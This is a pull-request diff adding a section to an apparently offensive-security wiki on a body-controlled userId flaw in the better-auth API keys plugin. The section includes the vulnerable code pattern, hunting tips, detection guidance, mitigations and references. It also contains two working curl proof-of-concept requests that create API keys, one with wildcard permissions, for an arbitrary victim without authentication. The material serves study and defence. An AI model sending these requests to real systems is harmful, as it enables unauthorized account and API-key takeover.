Skip to content
Closed
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
65 changes: 64 additions & 1 deletion src/pentesting-web/login-bypass/README.md
Original file line number Diff line number Diff line change
Expand Up @@ -97,6 +97,69 @@ Pages usually redirects users after login, check if you can alter that redirect



{{#include ../../banners/hacktricks-training.md}}
## Body-controlled identity (userId in body) → Pre-auth account/key takeover

A common auth logic flaw in JSON APIs is to derive the authenticated subject from a client-controlled identifier in the request body (e.g., userId), effectively disabling auth when that field is present. Example pattern seen in the wild:

```ts
const authRequired = (ctx.request || ctx.headers) && !ctx.body.userId;
const user = session?.user ?? (authRequired ? null : { id: ctx.body.userId });
```

Why it’s broken
- In normal requests `(ctx.request || ctx.headers)` is truthy, so providing `userId` makes `authRequired === false`.
- If there is no valid session, the handler fabricates `user = { id: ctx.body.userId }` from attacker input and proceeds as if authenticated.
- Server-only validation/authorization branches are skipped, letting clients set privileged fields.

Real-world impact (better-auth API keys plugin)
- Affected routes: `/api/auth/api-key/create` and `/api/auth/api-key/update` accepted an attacker-supplied `userId` and skipped auth.
- Attacker could mint or modify API keys for arbitrary users, and set privileged fields like `permissions`, `rateLimitMax`, `refillAmount`, `remaining`.

Minimal PoC (no session/cookies required)
```bash
curl -X POST http://localhost:3000/api/auth/api-key/create \
-H 'Content-Type: application/json' \
-d '{
"userId": "victim-user-id",
"name": "test"
}'
```

Privilege-shaped PoC
```bash
curl -X POST http://localhost:3000/api/auth/api-key/create \
-H 'Content-Type: application/json' \
-d '{
"userId": "victim-user-id",
"name": "ops-key",
"permissions": ["*"],
"rateLimitMax": 1000000,
"refillAmount": 1000000,
"remaining": null
}'
```

Hunting tips
- Grep for handlers that build identity from request JSON: `body.userId`, `body.accountId`, `body.username` used to set `req.user`, `ctx.user`, etc.
- Look for ternaries/branches where the existence of a body field disables auth, e.g., `authRequired = ... && !body.userId`.
- Review create/update endpoints for “server-only” fields accepted in unauthenticated paths (permissions, roles, rate limits, quotas, ownership fields).

Detection/forensics
- Search logs and reverse-proxy telemetry for unauthenticated POSTs to key-management endpoints where bodies contain `userId` and privileged fields.
- Flag responses that include credentials (e.g., returned `key`) without an accompanying valid session cookie/token.
- Correlate suspicious key creations/updates with subsequent API usage from unfamiliar IPs/agents.

Mitigations
- Never derive identity from client-controlled body fields. Treat `userId` as server-only.
- Require an authenticated server-side session/credential for any key or account management.
- Centralize authorization checks (RBAC/ABAC) and reject privileged fields from unauthenticated contexts.
- If using better-auth, upgrade to >= 1.3.26 and rotate/review keys created during the exposure window.

## References

- [Critical Account Takeover via Unauthenticated API Key Creation in better-auth (CVE-2025-61928)](https://zeropath.com/blog/breaking-authentication-unauthenticated-api-key-creation-in-better-auth-cve-2025-61928)
- [better-auth NPM Package](https://www.npmjs.com/package/better-auth)
- [GHSA-99h5-pjcv-gr6v advisory](https://github.com/better-auth/better-auth/security/advisories/GHSA-99h5-pjcv-gr6v)
- [API keys plugin introduction PR #1515](https://github.com/better-auth/better-auth/pull/1515)

{{#include ../../banners/hacktricks-training.md}}